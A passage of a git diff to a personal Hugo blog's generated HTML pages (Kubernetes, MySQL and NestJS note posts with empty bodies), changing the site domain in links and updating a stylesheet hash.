href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Kubernetes%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Kubernetes%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/mysql\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/mysql\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index 550145f4..f19dcdf7 100644
--- "a/posts/mysql\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/mysql\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/MySQL%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/MySQL%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/nestjs\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/nestjs\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index d4822d6b..17b349cb 100644
--- "a/posts/nestjs\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/nestjs\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
